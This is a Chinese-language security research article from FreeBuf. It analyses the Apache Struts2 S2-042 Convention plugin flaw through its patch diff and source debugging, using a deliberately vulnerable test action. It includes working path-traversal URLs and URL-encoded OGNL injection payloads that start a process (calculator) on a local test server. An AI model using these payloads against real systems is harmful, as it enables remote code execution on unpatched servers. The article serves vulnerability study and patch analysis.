*本文原创作者:angelwhu,转载须注明来自FreeBuf.COM。
0×00 漏洞简介
struts2漏洞往往一出来就挺火的,但不乏一些利用条件比较苛刻的。而在上个月就发布了一个等级为高的漏洞。本着学习的态度,把这个漏洞从源码角度分析下。并分享下自己分析漏洞的方法和过程。
先来看看这个漏洞官方介绍,详情请看官方公告:
-
漏洞描述: Struts Convention插件可能导致任意路径遍历
-
漏洞具体问题:
It is possible to prepare a special URL which will be used for path traversal and execution of arbitrary code on server side.
-
最大危险评级: High
-
影响范围: Struts 2.3.20 – Struts 2.3.31
可以看到: 漏洞标题只是说可以路径遍历。而在具体描述中指出可以执行任意代码,危害等级才有如此高。
在网上搜了搜,没有关于此漏洞的具体分析。因此,本文对于漏洞的理解,只是个人见解~ 如有遗漏与不足,还望指正。
0×01 Convention插件
既然问题出现在Convention插件上,那么必然先要了解这个插件的作用。
Convention
是惯例
的意思。在进行struts2开发时,需要在配置文件(struts.xml
)中写一个个action
,和对应返回结果的result
(可以理解为前端返回的jsp文件)。
但是,写的action
多了,配置起来就显得特别繁琐了。struts2 Convention
插件可以完全抛弃配置,也就是约定优于配置
。官方给的一个图表:
以第一个为例:当我们访问/hello
url时,不需要进行任何配置。struts2会自动寻找HelloAction
类。该类执行完成后,返回一个resultCode
(这里是success
)。然后,Struts2
会在默认路径下找hello.jsp
,hello.html
,hello-success.jsp
等文件,返回给用户。
具体的规范还有很多,具体可以看官方文档学习学习。总之,Convention插件提供了一系列的规范,来使程序员不用写繁琐的配置文件,就能轻松的编写代码。
0×02 补丁分析
Struts在2.3.31版本中,修复了这个问题。于是,可以在github上找找这个版本的修改地方。找到了这样两个相关性修改。看看就觉得应该是的:
找到修改的两个类文件ConventionsServiceImpl.java
,ConventionUnknownHandler.java
。结合修改的描述,可以初步这样判断:
1. 可以跨目录读取文件
文件中加了这样一个判断:
if (resource != null && resource.getPath().endsWith(path)) {
证明对传入的path
变量可以利用../
进行跨目录读取文件。该行代码就是进行了二次检测(Adds double check if resource exists)。
2.path
路径变量可以执行OGNL
代码
对于第二个补丁修改,类中加了这个函数:
private ResultTypeConfig disableParse(ResultTypeConfig resultConfig) {
if (resultConfig != null) {
return new ResultTypeConfig.Builder(resultConfig).addParam("parse", "false").build();
}
return null;
}
在Struts2的Result类中,有一个parse
属性,默认为true
。跟S2-016
漏洞最后到达的利用点一样。证明我们可以在路径变量中,加入OGNL
代码,进行远程代码执行攻击。
0×03 利用方法与调试分析
通过对补丁的分析,我们找到了触发漏洞的点。现在,缺少利用点,进行实际攻击。
以下情况,只是个人分析的情况。如果有更好的利用场景,或者利用点。请不吝赐教。
控制resultCode
阅读源码,发现该插件的关键类为ConventionUnknownHandler
。它继承了UnknownHandler
接口,当struts在配置文件中无法找到action
和Result
时,会分别调用handleUnknownAction
方法和handleUnknownResult
方法。
之后按照上面对应的规范,去寻找action
类和Result
。
Eclipse里面有个open call hierarchy
,可以看到调用层次关系。看ConventionUnknownHandler
类中的findResult
函数。 可以看到基本的调用关系:
经过源码分析,找到两个可能控制的点:
- (1) actionName: 直接url输入,但是经过了各种过滤。没法很好利用~
- (2) resultCode: 需要程序员编码时,让我们可控~
下面就第二种情况,编码一个场景进行分析。若能找个非常容易控制resultCode
的方法,那就更好了~~
1. 测试环境搭建
- (1)struts版本: struts2.3.24.1
- (2)convention插件版本: struts2-convention-plugin-2.3.24.1
将struts2-convention-plugin-2.3.24.1.jar
复制到/WEB-INF/lib
目录下。
2. 样例代码
新建一个GoAction类,放在action
包下(convention
插件的默认约定位置)。
package action;
import com.opensymphony.xwork2.ActionSupport;
public class GoAction extends ActionSupport {
private String go;
private String methodToOGNL;
public String execute(){
return go; //方法的返回值,即为resultCode
}
public String getGo() {
return go;
}
public void setGo(String go) {
this.go = go;
}
public String getMethodToOGNL() {
return methodToOGNL;
}
public void setMethodToOGNL(String methodToOGNL) {
this.methodToOGNL = methodToOGNL;
}
}
在/WEB-INF/content
目录下,新建一个admin.jsp
:
<body>
Hello Admin~~ <br>
</body>
3. 攻击和调试分析
上述代码目的是,让GoAction
起到一个跳转功能。
当admin用户
经过验证,需要跳转到jsp
页面时。 直接访问url
:/go?go=admin
,此时的resultCode
为admin
。 通过convention
插件,会在/WEB-INF/content
找到admin.jsp
,返回给用户。
此时,我们就可以通过go
参数来控制resultCode
。
(1) 遍历目录读取文件
不防先试试跨目录。测试Payload为:
http://localhost:8080/MyStruts2Test/go?go=../content/admin
这样也成功找到了admin.jsp
。
然后,在/WEB-INF/
下新建一个hack.jsp文件
。简单的跨目录读取成功:
能够跨目录,看看能不能任意读取文件~
在ConventionUnknownHandler
类打断点,可以看到它的寻找文件过程。令我遗憾的是,在整个过程中,都会加路径后面带上后缀.ext
。而这个后缀限定为:
[jspx, vm, jspf, jsp, ftl, html, htm]
暂时没有找出截断文件名等方法,读取任意文件~ 如果有人能有好的方法,请告知~
(2)执行任意代码
在补丁分析时,我们看到修补了一个Result
执行命令。于是,我们可以在resultCode
中嵌入ognl
代码试试~ 我们最后要找到admin.jsp
文件,于是在路径中嵌入了如下Payload:
http://localhost:8080/MyStruts2Test/go?go=%24%7B%23_memberAccess%5B%22excludedClasses%22%5D%3D%7B1%7D%2Cnew%20java.lang.ProcessBuilder%28%27calc%27%29.start%28%29%7D%2f..%2fadmin
打断点分析可以看到:
找到admin.jsp
文件后的Result为org.apache.struts2.dispatcher.ServletDispatcherResult
对象,并且parse
属性为true。location
属性中带有OGNL语句,和S2-016漏洞一样,成功运行植入的代码,弹出计算器:
(3)另一种控制resultCode
方法
可能注意到了methodToOGNL
这个变量没有用,当我们可以选择调用action
的某个方法时,比如还有最近出现的rest
插件或者打开动态方法调用
:
<constant name="struts.enable.DynamicMethodInvocation" value="true" />
于是就有了如下payload:
http://localhost:8080/MyStruts2Test/go!getMethodToOGNL?methodToOGNL=%24%7B%23_memberAccess%5B%22excludedClasses%22%5D%3D%7B1%7D%2Cnew%20java.lang.ProcessBuilder%28%27calc%27%29.start%28%29%7D%2f..%2fadmin
我调用了getMethodToOGNL
方法,返回methodToOGNL
变量的值。就能简接控制resultCode
了。当然成功弹出计算器。这种情况,相比前面的情况。恐怕就要普遍些了吧~
条件: 只需action
中有个String
变量即可。
各位可以想想,还有其他好玩的利用场景不~~
0×04 思考与总结
通过补丁分析得到漏洞触发点。然后,通过学习分析源码,复现分析~可以学到很多知识。
0×05 参考链接
http://struts.apache.org/docs/s2-042.html
http://blog.csdn.net/zhyh1986/article/details/7924674
*本文原创作者:angelwhu,转载须注明来自FreeBuf.COM。